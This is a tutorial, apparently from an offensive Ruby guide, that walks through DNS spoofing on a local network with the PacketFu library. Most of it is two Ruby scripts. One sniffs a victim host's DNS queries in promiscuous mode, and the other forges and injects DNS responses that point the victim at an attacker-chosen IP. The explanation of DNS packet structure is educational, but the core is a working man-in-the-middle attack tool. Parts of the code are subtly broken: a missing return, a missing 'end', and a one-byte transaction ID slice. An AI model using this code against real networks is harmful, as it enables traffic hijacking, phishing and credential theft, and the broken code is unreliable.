DNS Spoofing

    The same IPs of ARP spoof attack

    Now we cant intercept DNS Query packet coming from victim’s machine. Since PacketFu supports filters in capturing (to reduce mount of captured packets) we’ll use filter, then we’ll inspect the captured packet to ensure that it’s a query then find the requested domain. Download DNS packet.

    From Wireshark, if we take a deeper look at the DNS query payload in Domain Name System (query), we can see its been presented in hexadecimal format.

    Let’s to anatomize our payload

    1. 0000   e7 1d 01 00 00 01 00 00 00 00 00 00 07 74 77 69
    2. 0010   74 74 65 72 03 63 6f 6d 00 00 01 00 01
    • The First 2 bytes is the Transaction ID and we don’t care about it for now. (Our case: \xe7\x1d)
    • The next 2 bytes is the Flags[^3]. (We need: \x01\x00 = \x10)
    • Furthermore, in Queries section which contains

      • The 13th byte specifies the length of the domain name before the very first dot (without last dot com or whatever the top domain is). (Our case: \x07)
        Try:[%w{ 74 77 69 74 74 65 72 }.join].pack("H*")

        • Notice The domain name of “twitter.com” equals \x07 but “www.twitter.com” equals \x03 the same consideration for subdomains

        • Each dot after first dot will be replaced with the length of the followed characters

          e.g. www.google.co.uk

          • First length (www) => will be replaced with \x03
          • First dot(.google) => will be replaced with \x06
          • Second dot(.co) => will be replaced with \x02
          • Third dot(.uk) => will be replaced with \x02

      • The very end of the domain name string is terminated by a \x00.

      • The next 2 bytes refers to the type of the query[^4]. (Our case: \x00\x01)

    Now what?!

    • We need to start capturing/sniffing on specific interface
    • We need to enable promiscuous mode on our interface
    • We need to capture UDP packets on port 53 only
    • We need parse/analyze the valid UDP packets only
    • We need to make sure this packet is a DNS query
    • We need to get the queried/requested domain
      • We need to know the domain length
      • We need to get the FQDN
    • Build a DNS response
    • Replace the requested domain with any domain we want
    • Re inject the packet into victim connection and send
    1. #!/usr/bin/env ruby
    2. #
    3. require 'packetfu'
    5. include PacketFu
    7. #
    8. # * We need to start capturing/sniffing on specific interface
    9. # * We need to enable promiscuous mode on our interface
    10. # * We need to capture UDP packets on port 53 only
    11. #
    12. filter = "udp and port 53 and host " + "192.168.0.21"
    13. capture = Capture.new(:iface => "wlan0",:start => true, :promisc => true, :filter => filter, :save => true)
    15. # * We need to get the queried/requested domain
    16. #    * We need to know the domain length
    17. #    * We need to get the FQDN
    18. #
    19. # Convert DNS Payload to readable - Find The FQDN
    20. #
    21. def readable(raw_domain)
    22.   # Prevent processing non domain
    23.   if raw_domain[0].ord == 0
    24.     puts "ERROR : THE RAW STARTS WITH 0"
    25.     return raw_domain[1..-1]
    26.   end
    28.   fqdn = ""
    29.   length_offset = raw_domain[0].ord
    30.   full_length   = raw_domain[ 0..length_offset ].length
    31.   domain_name   = raw_domain[(full_length - length_offset)..length_offset]
    33.   while length_offset != 0
    34.     fqdn << domain_name + "."
    35.     length_offset = raw_domain[full_length].ord
    36.     domain_name   = raw_domain[full_length + 1..full_length + length_offset]
    37.     full_length   = raw_domain[0..full_length + length_offset].length
    38.   end
    40. end
    42. # * We need parse/analyze the valid UDP packets only
    43. # * We need to make sure this packet is a DNS query
    44. #
    46. #
    47. capture.stream.each do |pkt|
    48.   # Make sure we can parse the packet; if we can, parse it
    49.   if UDPPacket.can_parse?(pkt)
    50.     @packet = Packet.parse(pkt)
    52.     # Make sure we have a query packet
    53.     dns_query = @packet.payload[2..3].to_s
    55.     if dns_query == "\x01\x00"
    56.       # Get the domain name into a readable format
    57.       domain_name = @packet.payload[12..-1].to_s # FULL QUERY
    58.       fqdn = readable(domain_name)
    60.       # Ignore non query packet
    61.       next if domain_name.nil?
    63.       puts "DNS request for: " + fqdn
    64.     end
    65.   end
    66. end

    Till now we successfully finished then DNS capturing but still we need to replace/spoof the original response to our domain. e.g. attacker.zone, now we have to build a DNS response instead of spoofed to be sent. So what we need?

    • taking the IP we are going to redirect the user to (the spoofing_ip)
      • converting it into hex using the to_i and pack methods.
    • From there we create a new UDP packet using the data contained in @ourInfo (IP and MAC) and fill in the normal UDP fields.
      • I take most of this information straight from the DNS Query packet.
    • The next step is to create the DNS Response.
      • the best way to understand the code here is to look at a DNS header and then
      • take the bit map of the HEX values and apply them to the header.
      • This will let you see what flags are being set.
    • From here, we just calculate the checksum for the UDP packet and send it out to the target’s machine.

    Wrapping up

    1. #!/usr/bin/env ruby
    2. # -*- coding: binary -*-
    4. # Start the capture process
    5. require 'packetfu'
    6. require 'pp'
    7. include PacketFu
    10. def readable(raw_domain)
    12.   # Prevent processing non domain
    13.   if raw_domain[0].ord == 0
    14.     puts "ERROR : THE RAW STARTS WITH 0"
    15.     return raw_domain[1..-1]
    16.   end
    18.   fqdn = ""
    19.   length_offset = raw_domain[0].ord
    20.   full_length   = raw_domain[ 0..length_offset ].length
    21.   domain_name   = raw_domain[(full_length - length_offset)..length_offset]
    23.   while length_offset != 0
    24.     fqdn << domain_name + "."
    25.     length_offset = raw_domain[full_length].ord
    26.     domain_name   = raw_domain[full_length + 1 .. full_length + length_offset]
    27.     full_length   = raw_domain[0 .. full_length + length_offset].length
    28.   end
    30.   return fqdn.chomp!('.')
    32. #
    33. # Send Response
    34. #
    35. def spoof_response(packet, domain)
    37.   attackerdomain_name = 'rubyfu.net'
    38.   attackerdomain_ip   = '54.243.253.221'.split('.').map {|oct| oct.to_i}.pack('c*')  # Spoofing IP
    40.   # Build UDP packet
    41.   response = UDPPacket.new(:config => PacketFu::Utils.ifconfig("wlan0"))
    42.   response.udp_src   = packet.udp_dst             # source port
    43.   response.udp_dst   = packet.udp_src             # destination port
    44.   response.ip_saddr  = packet.ip_daddr            # modem's IP address to be source
    45.   response.ip_daddr  = packet.ip_saddr            # victim's IP address to be destination
    46.   response.eth_daddr = packet.eth_saddr           # the victim's MAC address
    47.   response.payload   = packet.payload[0,1]        # Transaction ID
    48.   response.payload  += "\x81\x80"                 # Flags: Reply code: No error (0)
    49.   response.payload  += "\x00\x01"                 # Question: 1
    50.   response.payload  += "\x00\x00"                 # Answer RRs: 0
    51.   response.payload  += "\x00\x00"                 # Authority RRs: 0
    52.   response.payload  += "\x00\x00"                 # Additional RRs: 0
    53.   response.payload  += attackerdomain_name.split('.').map do |section| # Queries | Name: , Convert domain to DNS style(the opposite of readable method)
    54.     [section.size.chr, section.chars.map {|c| '\x%x' % c.ord}.join]
    55.   end.join + "\x00"
    56.   response.payload  += "\x00\x01"                 # Queries | Type: A (Host address)
    57.   response.payload  += "\x00\x01"                 # Queries | Class: IN (0x0001)
    58.   response.payload  += "\xc0\x0c"                 # Answer | Name: twitter.com
    59.   response.payload  += "\x00\x01"                 # Answer | Type: A (Host address)
    60.   response.payload  += "\x00\x01"                 # Answer | Class: IN (0x0001)
    61.   response.payload  += "\x00\x00\x00\x25"         # Answer | Time to live: 37 seconds
    62.   response.payload  += "\x00\x04"                 # Answer | Data length: 4
    63.   response.payload  += attackerdomain_ip          # Answer | Addr
    64.   response.recalc                                 # Calculate the packet
    65.   response.to_w(response.iface)                   # Send the packet through our interface
    66. end
    68. filter = "udp and port 53 and host " + "192.168.0.21"
    69. @capture = Capture.new(:iface => "wlan0", :start => true, :promisc => true, :filter => filter, :save => true)
    70. # Find the DNS packets
    71. @capture.stream.each do |pkt|
    72.   # Make sure we can parse the packet; if we can, parse it
    73.   if UDPPacket.can_parse?(pkt)
    74.     packet = Packet.parse(pkt)
    76.     # Get the offset of the query type: (request=\x01\x00, response=\x81\x80)
    77.     dns_query = packet.payload[2..3].to_s
    79.     # Make sure we have a dns query packet
    80.     if dns_query == "\x01\x00"
    81.       # Get the domain name into a readable format
    82.       domain_name = packet.payload[12..-1].to_s # FULL DOMAIN
    83.       fqdn = readable(domain_name)
    84.       # Ignore non query packet
    85.       next if domain_name.nil?
    86.       puts "DNS request for: " + fqdn
    88.     end
    89.     # Make sure we have a dns reply packet
    90.     if dns_query == "\x81\x80"
    91.       domain_name = packet.payload[12..-1].to_s # FULL DOMAIN
    92.       fqdn = readable(domain_name)
    93.       puts "[*] Start Spoofing: " + fqdn
    94.       spoof_response packet, domain_name
    95.     end
    97. end

    Sources[^1] [^2] - The code has been modified and fixed

    [^1]: DNS Spoofing Using PacketFu
    [^2]:
    [^3]: DNS Header Flags
    | Bit | Flag | Description | Reference |
    |:———:|———|———————————|—————-|
    | bit 5 | AA | Authoritative Answer | [RFC1035] |
    | bit 6 | TC | Truncated Response | [RFC1035] |
    | bit 7 | RD | Recursion Desired | [RFC1035] |
    | bit 8 | RA | Recursion Allowed | [RFC1035] |
    | bit 9 | | Reserved | |
    | bit 10 | AD | Authentic Data | [RFC4035] |
    | bit 11 | CD | Checking Disabled | [RFC4035] |
    [^4]:
    | Type | Value | Description |
    |:——-:|:——-:|:———————————————————-:|
    | A | 1 | IP Address |
    | NS | 2 | Name Server |
    | CNAME | 5 | Alias of a domain name |
    | PTR | 12 | Reverse DNS Lookup using the IP Address |
    | HINFO | 13 | Host Information |
    | MX | 15 | MX Record |
    | AXFR | 252 | Request for Zone Transfer |
    | ANY | 255 | Request for All Records |